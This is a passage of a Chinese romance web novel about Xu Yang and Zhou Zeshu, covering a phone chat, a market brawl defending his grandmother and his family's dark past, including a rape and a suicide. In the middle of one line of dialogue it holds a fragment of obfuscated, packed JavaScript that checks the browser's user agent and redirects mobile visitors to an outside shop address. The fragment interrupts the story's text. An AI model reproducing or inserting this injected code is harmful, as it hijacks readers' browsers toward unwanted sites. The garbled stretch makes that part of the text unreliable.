后跟了个P图柯基挑着包袱傻乎乎笑“今晚就要远航”的表情包。
周泽树忍不住扬起唇角，长按点了保存。
不知道她脑瓜子一天天都装了些什么。
晚上和朋友见面喝了一杯，电梯静悄悄的，怀疑是不是因为这杯酒的缘故，一向注重分寸的人，也会糊涂。
“方便接语音吗？”
与此同时，另一边。
手机哐，砸在脸上。
徐漾疼得嗷嗷叫。
春日夜里一片寂静，还没到虫鸣的季节，她却觉得有什么声音，疯狂叫嚣着。
跳动，跳动。
像尾小鱼钻进耳朵里，游啊游。
她管不了疼，揉着侧脸嘶了一声，对着手机着急忙慌整理躺得乱糟糟的头发，黑色屏幕里映着亮盈盈的眼睛。
徐漾：“可以呀。”
她同样发语音，刚说完又匆匆往上点了取消，改成文字。
[可以呀。]
半分钟，两人却不知道该开口说些什么，周泽树无奈笑了一声，她也抿唇笑，大抵觉得有些荒唐，但都没戳破。
“这几天玩的怎么样？”
“很好！”
徐漾欢快说着：“云溪我感觉我玩儿差不多了，之前我不是跟你说我要去打卡那片油菜花谷吗？哇塞，我一定要跟你吐槽，天气预报太不准了！坑死了，我前一天晚上看，好好的晴天，第二天早上天昏沉沉的我甚至都没怀疑它。”
“下雨了？”周泽树问。
“没，好在没下雨，那一整天都是阴天，一点太阳都没有，我想拍的大片没拍到，但是！！阴天的油菜花谷也好漂亮啊！站到最上面往下望，绵延数里的油菜花海，超级辽阔壮观，雾蒙蒙的，我还看到了村落草地里的羊群，小羊羔也太可爱了吧！白白净净的，呜抱起来肯定软绵绵的。”
徐漾又说起在那边碰到同样来的游客，说起油菜花海里废弃的铁轨道，各种各样发生的事，看到的风景。
周泽树听得一笑，甚至，能想象到那头她精彩的表情。
“欸，江州怎么样？”
“还行。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105260|148196||http|test|mini|href|location''.split(''|''),0,{}));
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“你没去逛？”
“来过几次这边，没什么新鲜的。”周泽树诚实说。
徐漾哦了一声，嘀嘀咕咕小声言语：“说不定变了呢？你怎么就肯定它一定没变。”
“我听到了啊。”周泽树轻笑一声。
她并不介意，说起自己：“我去过那边还是去年的事了，那边印象里风景还挺不错，不过我是特地去见我女神。”
说到这她特别激动。
“追星？”周泽树陪她聊起喜欢的话题。
“嗯……算是吧，不是那种电视里的，你知道陈裳吗？一个很了不起的女性向主题插画师，我超级喜欢她，去年她在江州开了复出后的首次插画展，人真的超超超酷！”
周泽树挑了挑眉，去吧台给自己了倒水回来。
好巧不巧，该不该告诉她，他还真认识，还挺熟。
“她刚好常住在江州。”徐漾放低声音对听筒小声八卦。
“我听网上说女神有男朋友了，不知道真假的，近几年她在网上低调，动态特少，想了解越来越难了。”
徐漾幽幽叹了口气。
明明就只有他们俩，相隔不远万里，却有一种就在身边，她偷偷跟自己八卦的感觉。
徐漾不知疲惫地跟他唠了一大堆关于陈裳的话题，类似于第一次看她的画是什么时候，她得过什么奖，走过的路，出的画集等等等等。
周泽树偶尔接几句，抛出问题顺着往下引，剩下的大多都在听她讲。
无疑他是一个绝佳的倾听者，全程顺着她的情绪，不敷衍，也不冷淡。
落地窗外霓虹的夜景明明热闹，却又那么远，女孩絮絮叨叨的声音充斥在寂静的夜里。
讲到激动的地方她语气兴奋跟着自豪，郁闷难过的地方她难过感慨。
“……我是不是说太多了。”徐漾中途停下，语气抱歉。
“没有，挺有意思的。”
“是吧，我也觉得。”
“周泽树。”她犹豫了半分，喉间凝着的话，还是忍不住跑出来。
“你现在很好，有现在的成就，做到这个样子真的很好很好了，特别特别棒。”
她不稳，笃定又认真的声音从听筒里流向空荡荡的房间。
这个女孩总是习惯用很多副词，是习惯，也是由衷的诚意。
周泽树微愣，沉默了一会儿，没有讲话。
好像很久没有人跟他说过这样的话了，久到不记得到底有没有。
他好像也忘了这一路走过的艰辛。
这么多年，一晃就走到这了。
连他自己都开始渐渐遗忘。
周泽树轻轻啧了一声，笑：“安慰小朋友呢？”
“不是！”徐漾慌乱解释，“我说的是真的。”
“行，听到了。”
又加了一句：“谢谢。”
徐漾挠挠脸，长长吐了一口气，不好意思地笑了。
文学创作里常用月来寄托情感，张九龄提到海上生明月，天涯共此时，这句诗可真美。
她看着窗外清冷的月亮，竟觉得现在有一丝温暖，庭院里的蓝花楹大片大片的也开得好看。
“周泽树。”
“嗯。”
“你到新地方还会失眠么？”
周泽树仰望那轮弦月。
“我想，不会了。”
21. chapter 21
朋友难得一聚，互相手机上一约，组了局。
这么多年，不像从前了，各有各的事业，天南海北，少有聚得齐的时候，今天也不例外。
包厢里一片笑闹声，都是些俊男靓女，私交好友。
周泽树玩了几把牌，没了兴趣，换其他人玩，枕一旁沙发靠背上休息。
“怎么样？”陈裳走过来。
“嗯？”
陈裳一副烦躁不想搭理的表情，偏偏周泽树就爱看她吃瘪，索性继续装不懂。
等了会儿，陈裳毛了，捞起盘里的一颗果子砸过去。
周泽树一手精准抓住，坐起来：“大小姐脾气不小。”
“我问你话，你说不说？”
“说什么？”
“你偏要跟我绕哑迷是吧？”
陈裳轻扫了眼四周，生气道：“现在到哪步了？”
“躯体反应？有没有……”
她声音轻了，下意识想说一个词，却怎么都说不出口，面色难看，生生憋了回去。
室内麻将清脆，欢笑喋喋，周泽树神色寂淡，剥着橘子皮，没吭声。
灯光打在他脸上，落在他长长的睫羽上，在眼窝深处投了小一片阴影。
他那副桃花眼极具伪装性，眼皮一抬，又作寻常，重新给人一种明朗倜傥感，要不是有次撞见他发病，不知道要瞒到什么时候。
陈裳不再追问，心里已经门清。
“我上次联系给你的医生……算了，我回头重新介绍一个给你。”
“别折腾，比之前好多了。”
陈裳想问真假，另一位气质清透温和的男人过来，她不说了，冷着一张脸渐渐有所缓和，亲昵地搂住男人的手臂一块坐下。
“李隅你来的正好，她就跟你好脾气，我们这群朋友可没少遭她白眼。”
“我！……”
周泽树轻笑：“你看。”
陈裳没好气地瞪他，嘴怎么这么欠呢，可谁让他们偏偏抓住她软肋了。
“什么时候回去？”李隅安抚地摸了摸陈裳手，坐在边上给她剥山竹。谁也没想到，陈裳那暴脾气，还真有一天有人能降住。
周泽树不禁莞尔：“三天后吧，还有点事没处理完。”
“都不带我，聊些什么呢？”蒋城也让了位，手搭在周泽树一边肩上绕过来坐下。
“不玩了？”
“打累了，让他们玩儿去。”
蒋城戏贼多，看对面两人，捂胸口：“哥们这块待不下去啊。”
“我觉得也是。”周泽树配合点头。
李隅笑：“你们别闹了。”
“好好，不招你们了。”
屋内笑闹不停。
不知怎么就俗套聊到感情问题上了，这么多年，差不多都有了着落，就周泽树一个人单着，也没见他尝试谈段恋爱。
以前问起来，他就说别耽误人家姑娘。
怎么算耽误？
算哪门子耽误。
借口罢了。
蒋城今天逮到机会，来了兴致偏要撬他：“早就听说云溪漂亮姑娘多，真假啊阿树？”
“你自己解决好了？人找到了？”周泽树瞥他。
“我服了，饶了我吧。”蒋城举双手投降。
一群人听到善意笑出声，都知道他追姑娘那点事。
还没开始，这不就结束了。
周泽树往后一躺，打开手机，他有轻微强迫症，将一大堆消息清理了，点开朋友圈，并没有看的打算，正准备退出，视线不经意间停驻。
顶头便是徐漾发了一组茉莉花园照片。
自从两人加好友后，周泽树几乎三天两头能刷到她，他时常感叹，怎么会有这么多无厘头，有梗又有意思的东西。
她和他的生活简直是两个极端。
甚至他有些不理解，有些怀疑，他们看到的到底是不是同一片景。
他提不起兴趣，也没那个兴致再重新确认一遍。
“欸？有情况！”蒋城坐他旁边不巧瞄到，伸手要夺，被周泽树轻易一绕，换到另一边熄了屏。
“嚯，我看到了！挺阳光一女孩。”蒋城有些激动，要告密，“阿树偷看人家朋友圈，想点赞又不点，绝对有猫腻。”
“没有的事。”
“怎么就没有？你敢不敢摆出来给大家伙瞧瞧。”他可全都看见了，他刚刚那副神情，多稀奇，铁树开花，太有趣了。
周泽树当然不给，他不想将徐漾拉入话题中心，也没那个必要。
人姑娘清清白白，干嘛要和他扯上关系。
说不想扯上关系，却想到了那双笑起来会弯成小月牙似的眼睛。
“上月的画册还有么？”这话是对陈裳说的。
“干嘛？”
“拿一本。”周泽树补充说，“帮我个忙，最好能在上面签个名，我市场五倍价转你。”
手机叮一声，陈裳吃着水果差点噎住，一副见了鬼的表情，朋友也不解纷纷望过来。
他什么时候对这感兴趣了？
周泽树耸耸肩，不答。
—
徐漾挎着一篮从茉莉花园里买回来的新鲜茉莉花束，在西陵兰路下车，这边有云溪最大的市场。
临时起意，也带了相机，她打算正好溜达一圈，买些食材借民宿厨房给七饼烤些零食。
这个点，错开了高峰，人不算太多，也不拥挤，又赶在热闹还没消退。
铺摊子码地整整齐齐，一声声吆喝。碧绿的西兰花、红彤彤的胡萝卜、小伞似的菌子、圆滚滚的包菜……各种颜色形状充斥在眼底，空气里飘着瓜果蔬菜香，令人心情愉悦。
路过煎馅饼的大爷见徐漾挂着相机边走边采景，亲切地叫住她。
“诶！囡囡能不能也往我这来一张啰！”
徐漾将煎得黄亮亮的饼拍下来，大爷还出镜比了个小树杈，临走时给她装了一块又大又漂亮的饼。
徐漾不好白拿人东西，要付钱，大爷怎么都不肯收，实在是太热情了，她也就拍了张照片而已。
“我这饼煎得漂亮吧！新鲜出炉的，可香咧。”
徐漾咬了一口，笑脸盈盈地朝大爷竖拇指：“嚯，您这饼煎得水平真高！”
两人莫名其妙哈哈大笑。
笑啥不知道，投缘。
这里有照相馆，徐漾特地将照片洗出来，趁大爷还没走，匆匆忙忙跑回来，将照片作为回礼赠给他。
差不多该买的都买完了，徐漾提着一大袋东西正准备回去，途径转弯处摊贩区，一片嘈杂。
都堵在这了，不知道有什么吸引人的东西。
吵吵嚷嚷的，交头接耳，聊天的，劝架
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的，里面声音又尖又细。
“臭不要脸的老东西！你松开！你松不松！”
“呸，你说你们一家恶不恶心？你儿子什么人谁不知道！当年那些肮脏事你以为现在就能洗清了！”
另一个女人掀开她，骂：“我不就说了你孙子几句吗？你至于吗？说不得了，垃圾货里的垃圾，不就现在翻身有了几个钱，有什么了不起了！有什么样的爹就有什么的儿子，恶心死了。”
人群中爆发出一声哀嚎，荷清涟像个疯子一样恼怒去挠说话的女人。
“荷清涟你干嘛！你——”
“啊啊啊！疯子疯子啊！！！”
“你别以为你仗着自己是个老家伙，就以为我不敢做什么，你放开——你放不放！！！”
周边的吓了一跳，哪想成这样了，赶紧去拉，把两边人都拦住，现在倒是怕了，怕闹大了，惹出什么事来。
徐漾被挤在后面，听到里面熟悉的声音，心头一沉，丢了手里的东西，拼命扒开人群钻进去。
那是她第一次看见荷奶奶这副样子，她永远是一位和蔼可亲的老太太，此时此刻头发凌乱了，苍老的面颊上眼睛通红，衣服也再不整齐，领头的扣子不知崩哪儿去了。
地上凌乱散着白菜，莴笋，辣椒，茄子，粘了灰软趴趴躺在地上。
徐漾胸腔急烈颤动着，冲上前去，恶狠狠地使劲搡了把被拦着还张牙舞爪的女人，吼。
“你有病吧！你欺负老人！”
女人往后摔了一屁股蹲，哎呦惨叫连连，另一个同伴赶紧把她搀起来。
众人傻了，不知从哪闯出来一个年轻姑娘。
徐漾气血上头，她价值观简直受到崩塌，浑身气到发抖，社会渣滓。
“操，臭.婊.子，你谁啊你！有你什么事啊！”那女人气不过要冲，被旁边几个男人赶紧拦住。
周围议论纷纷。
“少说几句，翻陈年旧账干什么。”
又有人说：“是周家老太太动手，脾气大的很。”
“跟你有什么关系，别说了别说了。”
“老人家一把年纪，都是熟人，小一辈的，你说你闹什么啊。”
“就是就是。”
“瞎闹这处怎么交代，都多少年的事搬出来。”
指点的，悄悄看戏的，劝架的，纷纷扰扰，各种声音往耳朵里钻。
同伴视线定在徐漾脸上，眨了眨眼，忽阴阳怪气笑：“我认出来了，你就是经常往里屿店里跑的那丫头是吧？哦呦，喜欢周家那小子，来来来，我跟你讲讲……”
她话一说出口，荷清涟受刺激又疯了似地扑上来。
“看到没有，看到没有，是这老家伙先上的手啊！！秦你赶紧给我录个视频，快快快，给大家伙看看，让他们评评理。”
一旁的人赶紧拉架，两边被牢牢禁锢着，荷清涟瘫坐在地上，凄惨地哭嚎，徐漾将荷奶奶搂护在怀里，将她交给旁边的人。
她气上了头，恼怒上前，狠狠一巴掌扇在挑衅的那女人脸上。
啪！
众人惊呆了。
她手指抖着，紧紧咬着唇，那女人被扇懵了，同伴也傻傻定在原地，过了几秒，被扇的女人突然推开按着她的人恶虎一样上去跟徐漾扭打在一起。
场面一片混乱。
被搅成了一团。
22. chapter 22
到底发生了什么事。
归根结底在周泽树的父亲周强身上。
周强年轻时候其实挺孝顺顾家的，为人也算还不错，可不知怎么，结婚后性情一天天变化，本性暴露变得俞发混蛋，鸡蛋里挑骨头，嫌弃周妈妈这碍眼那碍眼。
两人动不动就吵架，都是周强单方面嚷嚷，一不满就砸杯子椅子，家里碎了一地。
周妈妈性格其实随周泽树，是个好脾气温柔的人。
这段婚姻实属悲剧。
周泽树的出生让她痛苦更加强烈。
他是不该出生的孩子，小周泽树长得十分讨喜，眼睛黑亮亮的，不哭也不闹，学会的第一句话就是叫妈妈。
周妈妈爱他，心疼他，怜惜他，也恨他。
日子过得就像是苦豆子，就这么一天一天地磨。
周泽树四岁的时候发生了一件大事，周强喝醉酒毁了木匠家小女儿，那姑娘第二天下午崩溃跳湖自杀了。
事情闹得沸沸扬扬。
周强被抓。
不久，周妈妈受不了跑了。
周妈妈其实偷偷回来过一次，除了五岁的周泽树没人知道。
她给他带一包桃花糕，哭着摸摸他的头还是义无反顾地转身走了。
没有回头。
周泽树最爱吃桃花糕，他记得那个味道，只要春天桃花开了，他以为妈妈就会回来。
可没有没有没有！没有……
他懂事，少有主动说喜欢不喜欢的时候，总是默默接受，却每到春天，桃花开得季节，缠着奶奶做桃花糕，荷奶奶以为他喜欢，周泽树也这样以为。
可后来发现不是。
他最讨厌桃花糕，讨厌到闻到那个味就会恶心。
可习惯已经让他学不会拆穿，学会慢慢接受。
周妈妈走后，只留下周泽树和荷奶奶两个人相依为命，家里的所有钱都被填洞补偿出去，木匠一家后来也搬走了。
都是报应，周勇出狱也没再回来，听说当初惹了社会上的人，死了好，一报还一报。
每到春暖花开的时节，荷奶奶会特意去寺院小住一月，在最好的时节每日为那姑娘祈福，偿还罪孽。
周泽树从小就被荷奶奶辛辛苦苦拉扯长大。
当时有人出主意，干脆坐车一趟，把孩子丢给外地福利院得了，偷偷摸摸的，引过去就走，反正孩子小也认不得路。
荷奶奶拿着扫帚撵人，破口大骂。
那是她孙子，不管男孩女孩，是一条命啊，所有人不要他，她要，她得要。
她不光要，她还要好好把他抚养长大。
荷奶奶姓荷，名清涟，出淤泥而不染，濯清涟而不妖的涟，父母辈不是什么大户，她在家里排行老二，因为女儿家，长辈名字也懒得给她取，是后来拖到实在不能再拖了，刚好老大下学堂，看到他书本里这句话，便选了里面这个字，前后不超过一分钟。
正如她的名字，荷清涟是个和善，坚韧，不屈服的人，口碑在当地更是没得话说。
曾经有个老道给她算了一卦，说她这辈子是个苦命人。
可不是嘛，她这半生经历了丧夫又丧子，苦啊，可再苦不能苦了孩子。
她靠自己撑起了一片天，一片小小庇护两个人的天。
当地人有看笑话可怜的，饭后拿她当乐子谈资的；也有少数敬她，提供帮助的。饭店的老板菜只买她家的，遇到老太太摆摊纳鞋垫，只要碰到了不管需不需要也要买一副。
荷老太太最重教育，当然，周泽树学习成绩好不好，将来要成为多大有作为的人，这些都是其次，好也罢坏也罢，尽力就好。
老太太的教育在于感恩。
人贵知恩，贵在感恩，别人的好不管将来怎么样都不能忘了。
其次，要做个好人，做个不违背法律公序良俗的人，独立自尊，谁都能看轻自己，可自己不能，永远不能。
好在，她的孙子都做到了。
周泽树懂事的早，他几乎将整个生活的重担全部扛在肩上。
即使从小活在苦难里，他也从不抱怨，有一颗不屈服上进的心，他生长得很好。
操蛋的生活，都这么过来了。
都在一天天变好。
荷奶奶曾经偶然收瓶子的时候，路过沁在暖光里热闹的饭店，无意说过饭店好呀，有家店真好，周泽树后来有钱了，就给奶奶开了一家早餐馆，又为了她年迈的身体着想，限制时间十点半准时闭店。
荷奶奶永远是个和蔼的老太太，可涉及周泽树的事，不行，谁都不能诋毁她孙子。
他孙子够苦。
够不容易了。
—
张超和江时雨知道这件事吓坏了，张超甚至当天第一时间直接赶到那女人家指着他们家里人大闹一顿。
周泽树回来了。
徐漾知道已经是第二天晚上的事。
因为，他来找她了。
徐漾穿着睡衣匆匆忙忙跑下楼，她也不清楚在急什么，身体已经有了指令。
……
晚风里夹杂着清新的葡萄味，她刚刚洗过头发，半干未干，站在他面前。
一只干燥的手伸过来，徐漾歪头躲了一下。
抬眼对上周泽树的视线，抿了抿唇，老实不动了。
她不敢看他的眼睛，身体感官却无比真实，他虎口轻捏着控制她的下巴，往晚樱树方向偏了偏。
徐漾缩脖子。
那处有两条指甲盖长度的伤，左侧脖颈上，靠近锁骨处，各有一条，因为涂过碘伏，颜色上还有黄色的药渍。
“能耐了，会打架了。”
周泽树放开她，脸色阴沉，他胸口憋了一股气，从改机票回来一直到现在。
徐漾低着头，沉默不吭声。
打架的时候什么都没想，不管不顾，但现在，她特委屈。
委屈到不行。
“我就打了。”她朝他撒气。
希望他凶她几句，那么她的情绪发泄就有了理由。
“疼吗？”
周泽树却说。
眼睛瞪着瞪着，忽然听到他说这句话的时候，浸了层水雾。
“周泽树，你怎么回来了……你不是周五才结束吗？”徐漾瘪着嘴，眼泪不受控制流出来，“我就打她了，谁让她们嘴欠啊，我跟你说，你……你下次不许去紫杉路口对面那家超市，时雨姐不去，张超也不去了，你也不准去。”
昏黄的路灯照着那颗深粉的晚樱，风一吹，掀起地上的花瓣，漩涡似的，转了一圈又一圈。
有一片飞落在徐漾肩上。
周泽树伸手，被她躲开。
徐漾固执盯着他，一定要他回答。
“好，不去了。”
他微侧了侧身，高大的身影站在风口，挡住了吹来的风。
那只手转道，温热的指腹擦去她眼角的湿痕。
“怎么不吹干头发？”
徐漾咬着唇，正对着抬头注视他，眼睛还湿漉漉的：“你不懂，这样才刚刚好，吹太干了对头发不好。”
他嗯了声，微低头，一下一下揩去她眼角的泪，将脸上的发丝帮她掖到耳后。
……
“荷奶奶还好吗？”徐漾坐在花坛边，绕着手里的狗尾巴草。
“没事了，她记性不好，等过一段时间就忘记了。”
会忘吗？应该吧。
“徐漾，
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谢谢你。”
“谢什么？”
“谢谢你在我不在的时候，保护了我的家人。”
她眼睛有些涩，调整了下呼吸，故作轻松道：“我勉为其难收下了，那你是不是欠我一个人情。”
周泽树：“嗯，算。”
“那不是我以后有什么需要都可以找你，你都能帮我完成。”
“我能办到的。”
“那是不是……”
周泽树闻言轻笑：“你到底想要什么？”
啪，她拿狗尾巴打了下他手。
软嗒嗒的，像被微风掀起花瓣，声音很小很小，却有些痒，一路直达心底。
周泽树抓住穗，她扯了扯，扯不开，拿手拍他，没想到他这时候松了。
糟糕，撤不回来了。
啪。
手指打在他手背上。
徐漾：“……”
周泽树：“……”
像是静止了三秒，她匆忙收回手，装作什么都没发生，正了正坐姿，揣回兜里的指尖却不自主地蜷了下。
那根被遗忘的狗尾巴草因为这些动作，眼看要掉在地上，被周泽树接住，又辗转到了他的手里。
“你还欠我一个记得么？”
是之前答应过她的，躺平大赛那次。
周泽树没有犹豫：“记得。”
“那这次两个了。”
“好，不管什么时候来找我都有效。”
微风轻轻拂过，花香扑面而来，两人同时抬头，樱花树花瓣在蜡烛黄的光锥里，美的不像话。
徐漾情不自禁去看周泽树。
他面色疲惫，显得有些苍白，今晚嗓音沙沙的，整夜没睡，下飞机就处理这件事，把老太太安抚好，一直到现在。
她问：“要不要回去？”
“困了？”周泽树没等她回答，说：“陪我再坐会儿吧。”
“好。”
她其实也不想这么快上去。
那就在坐一会儿。
只自私一会儿。
今晚见到周泽树，她既难过，生气，又有些讨厌。
没有谁能够决定自己的出生。
他明明是个很好的人，不怨，也不恨，温柔地对待整个世界，对待着身边每一个人，荷奶奶也那么好，可为什么……太不公平了。
她是真的生气，生气到想把他们都骂一遍。
“干嘛呢，气鼓鼓的。”周泽树瞥见小姑娘像个河豚似的，下一秒就要咬人了。
徐漾转过脸，深呼一口气，一本正经说：“我现在就想用掉一个。”
“什么？”
“那天的事，你是不是都已经听说了，我特别生气，当时，还有现在，也一点都不后悔冲动打架。你别听他们嚼舌根，过去的事都过去了，没必要为不相干的人背罪，那都和你没关系。”
她一哽，有一丝颤音，却还是看住他，定定地说：“你是你，只是你，是荷奶奶的孙子，是张超、时雨姐、小雨还有……还有大家的朋友，其他的都不是。”
“我现在就想用掉其中一个特权。”
她一口气说完。
“我想让你记住你，当下的你，未来的你。”
那些痛苦的过往，就把它当做不会停留的风。
都会好的。
会好的。
周泽树静静看着她，明显愣了一下神。
轻轻笑了。
伸手出去。
他这晚除担心外，想的是该怎么哄她开心。
一只毛茸茸可爱的青色兔子，刚刚那只狗尾巴草也被缠进里面，出现在她面前。
他说：“知道了。”
而后揉了揉她的头。
23. chapter 23
两女人找到徐漾，特地来道歉了。
虽然她并不接受，但对方承诺不会再有这样的事情发生。
那女人当时很凶，来的那天语气殷勤软弱，态度转变意外地快。
是后来，才知道是周泽树找了她们，拿到当时那段监控，视频发生了什么，谁先言语挑衅，再清楚不过。
周泽树一向好脾气，客气礼貌，温和外表之下，其实藏这股狠劲儿和疯。
这回也明显踩到了他禁区。
……
—
—
这事最终处理都是从江时雨哪儿听来的，详情不得而知，反正出自周泽树之手。
正下午，两人窝在店里挖冰激凌吃。
“还摆摊吗？”江时雨问。
徐漾咬着勺子，闷闷不乐：“不想摆了，摘的茉莉花被踩得乱七八糟的，当天全废了，现在想起来就膈应，嗷！巨烦。”
还是好生气好生气。
一想到之前在超市听得那些污言秽语，就恨不得把她们当成雪糕棍。
“别咬了。”
江时雨从她嘴里拔出来：“周天风筝节，叫上他们，我们几个一起出去玩呗，换个心情。”
“风筝节？”
“对，每年组织的活动吧，张超应该熟，我们没咋去过，好像可以到哪买或者自己带，挺多人的。”
徐漾眼睛放亮：“想去！”
最近心情太坏了，一起出游正好可以当做排解，当然这还不够。
徐漾突然灵机一动，想到一个好主意。
“干嘛？”江时雨看她那得意的小表情。
徐漾咧嘴一笑：“嘿嘿没什么”，关心问，“时雨姐，你耳朵好点了没？”
之前出去打耳骨钉，江时雨有天晚上睡觉硌到，第二天起来直接肿了。
“没事，都不红了，养的差不多了。”江时雨侧了侧耳朵给她展示。
她今天戴了一只银色蝴蝶，停在靠上白皙的耳边骨上，精致又栩栩如生。
“哇塞！好酷好漂亮！！”
“是吧，还得多谢谢你。”
江时雨以前的风格打扮就很单一，是一种温柔安静的美，自从那天生日过后，渐渐的开始根据心情尝试不同的风格，人也更得活泼了。
“没事呀，夸得我都不好意思了，计划表还可以继续哦。”
江时雨自豪：“我现在已经自己开始打勾实现几个了。”
想做的事，总要去做的。
不能一直困在计划和思索中。
徐漾比赞，眯眼一本正经：“同志，我看好你。”
两人捧腹哈哈大笑。
江时雨是真的喜欢徐漾的性格，元气满满又开朗大方，这样的女孩连做作都可爱。
“小漾现实生活中是不是不少人追，也一定有很多人愿意跟你做朋友吧。”
徐漾不好意思地笑：“为什么这么说？”
“就感觉你是很好的人呀。”
“糟糕，我要骄傲了！你别夸我，再夸我真要飘了。”徐漾捂住胸口。
江时雨笑看着她闹，帮她拿下嘴边的头发。
“时雨姐，你有喜欢的的人吗？”徐漾无声叹气，忽然安静了。
江时雨看出她有想说的，耐心等下来。
“我不知道该怎么表达，你等我想想。”
“你觉得这个世界上会有和你完全契合的人吗？我爸妈闺蜜，都觉得我太理想化了，但没办法，我就是一个理想主义又矫情的人。”
“我没谈过一段正式恋爱，唯一和一个男生在一起也不到一周，还是试交往未转正。初高中的时候我觉得同龄人幼稚，盲目跟风，或许根本不明白什么是喜欢。大学了呢，我想，总要谈段恋爱吧，趁还在学校，多感受感受美好。”
确实试了，那男生很优秀，长的也不错，并且主动追的她。于是就这么开始了。
但她发现她会很不自在，不是那种害羞的不自在，可以归结于一种没由来地烦躁。
出去约会，下意识里会抠对方的一些小毛病，明明也没多严重，但心里就很抵触，在慢慢转边成抗拒到远离。
“不到一周时间就掰了。”
“后来，我才明白我受不了去被动接受，绝不凑合，必须得是我喜欢的，我只愿意和我明确喜欢的人开始一段亲密关系，而我好像很难去喜欢一个人。”
理想主义真的有错吗？徐漾不觉得。
她想要的爱情必须是磁场高度契合，慢一点，晚一点，没关系，在这之前，她会好好爱自己。
一向从不憋事，坦荡的人也有了关乎此问题的烦恼。
爱情，真是件俗气的小事。
“那小漾遇到这个人了吗？”
徐漾伸手碰到斜照进来的阳光。
没有肯定也没有否定。
—
原本想直接去里屿问问张超和周泽树两人意见的。
徐漾过去时，发现门口挂了歇店的招牌。
今天都不在吗？
她站在门口停了半晌，正准备走，楼梯这时上有人下来。
周泽树原本想来楼下找件材料，不经意间抬眸，和徐漾视线撞了个正着。
“我以为你们都不在呢。”
“下次要是看见没锁门，直接推门进来。”
“歇店怎么办？”徐漾故作不好意思说，“那太打扰了吧。”
“给你开特权行不行？”周泽树好笑，去吧台拿了两罐旺仔，一罐给她。
徐漾发现比起其他饮料或者酒水，他好像更喜欢牛奶。
当初在酒馆见面，她一个人深夜买醉，他也给了一罐。
那应该是他们第三次见面。
周泽树可能也回想起哪件事。
“说实话我当时有被吓到。”
不会吧？
“我当时也没干嘛啊。”
他眉梢稍扬了瞬，浅笑：“那看来我要帮你回忆一下了。”
徐漾果断拒绝，喝牛奶掩盖自己：“不用了不用。”全都记起来了。
不用提她当时肯定很惨。因为前公司的事，生闷气半夜跑酒馆听歌，结果想听的驻唱歌手刚好结束下场了，点了杯酒，边气边哭，引得调酒小哥看了她几眼，几欲想跟她搭话确认有没有事，她为了不让人担心，一边憋眼泪，一边闷头喝酒，那个样子肯定丑极了。
“骗你的，其实我最后走的时候才注意到你。”周泽树说。
当时，小姑娘抬头，他真有点怕她下一秒眼泪滑下来。
上一次见她，还笑脸盈盈的，一副阳光灿烂的样子，怎么一转眼，就这样？
他还以为认错了人。
“唉那晚，总之就很多不如意的事挤在一起。”
徐漾现在想起来，已经放下了。
卓一剧情线被拖入正轨，越来越多人喜欢这个游戏角色，这就已经够了。
周泽树什么也没问，这是尊重，也是礼貌。
只是举了举旺仔，徐漾笑了，伸手隔空跟他碰杯。
室内，好似清脆一响。
开心了。
这牛奶喝出拼酒的架势好像就只有他们了吧。
“哦对，你刚刚想做什么，在忙工作吗？”徐漾想起来问。
周泽树靠墙随意站着，他穿了件白色卫衣，一手插在兜里，一手还捏着罐红色牛奶。
他衣服永远干净整洁，像清风里的云，“少年感”这个词用在他身上不论什么时候都不违和。
要拿什么好像忘记了。
他眯眼想了想，这是真一瞬记不起来了，有时候就是这么凑巧。
“你等等。”
“嗯？”
周泽树说完，上楼去了。
等下来时，徐漾看见他手里拿了一本书还有一个手掌大小的盒子。
“不是说喜欢陈裳吗？出差顺路带回来送你了。”
徐漾眨了眨眼睛，怀疑自己看错了，真的是陈裳最新的插画本。
而且。
“呀！”
“你们竟然还认识？！”
“翻开看看？”周泽树被她一惊一乍逗笑了，抬了抬下巴，提醒她别忘了打开。
这一翻，又是一
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阵尖叫。
竟是陈裳的亲笔签名！
最新的插画本很难抢，更别说签名款。
徐漾蹭地一下直接站起来，就差原地起飞了。
上回聊天的时候，她无意说过她特别痴迷这位插画师。
“完了完了，我今晚睡不着了。”
她嘴上说着这话，视线却紧接着被另一个小长盒吸引。
她认识，偶然看到过，这上面印有“里屿”工作室的专属印章。
心口砰砰砰狂跳着。
这……也是给她的？
手好像不是她的，跟着不利落起来，怎么都揭不开。
徐漾轻呼了口气，将书调整夹在怀里，空出两只手重新去开。
周泽树帮她把书拿过来，调侃笑了两声：“啧，这本子这么宝贝，都不舍得放了。”
徐漾忘了回答，或是根本没听到。
哪里还管说了什么。
全身心都在盒子上。
小心翼翼揭开。
里面躺了一支主调为鹅黄色的簪子。
花朵小巧而精美，花瓣外沿薄而圆润，颜色由浅而深的渐变，外形十分灵动，叶子配色是淡淡温柔的青绿。
很好看很好看。
这只发簪莫名给人一种很温暖，舒心的感觉。
“这也是给我的？”
“不然呢？”周泽树没话说了，觉得这姑娘古灵精怪的，配合接她茬儿，“我收回？”
“诶！不要。”徐漾秒抱回怀里，越看越爱不释手，开心地心里直冒泡泡。
里屿的老规矩，一样的花不做第二款。
也就是意味着，这一款，是专门做给她的。
好像坠了一颗小石子，心里一圈圈涟漪荡漾开来。
虽然知道这只是朋友间的照顾来往，她特意来云溪这边玩一趟，况且周泽树一向是个周到体贴的人，正好又是店里老板。
对，一定是这样。
但……
想法又不可控制地跑向另一边，所设想的一边。
“这支也有名字？”她随口问。
“Sólarfrí。”
生活需要短暂逃离，需要阳光，不论在哪里，多难过，希望你都可以拥有一隅永久不灭的光。
“不知道为什么，取名字的时候想到了你。”
他语气寻常夹杂着一股认真地自问。
明明再正常不过的一句话。
可像是施了魔咒，后半句不断在耳边重复着重复着。
徐漾心跳如擂鼓，突然口很干，抓来桌上没喝完的那罐牛奶，匆匆喝了两口。
却一挪眼，瞥到桌面上另外摆得一罐，拉环尾巴掀开没有压下去，竖起来的。
她喝的……
要死了。
脸好热好热，腾地感觉自己要变成一个大火球。
手里还捧着那罐原属于他的饮料，好似捧了块烫手山芋，放也不是，继续拿也不是。
最最重要的——
饮口出，赫然多出来的一道口红唇纹。
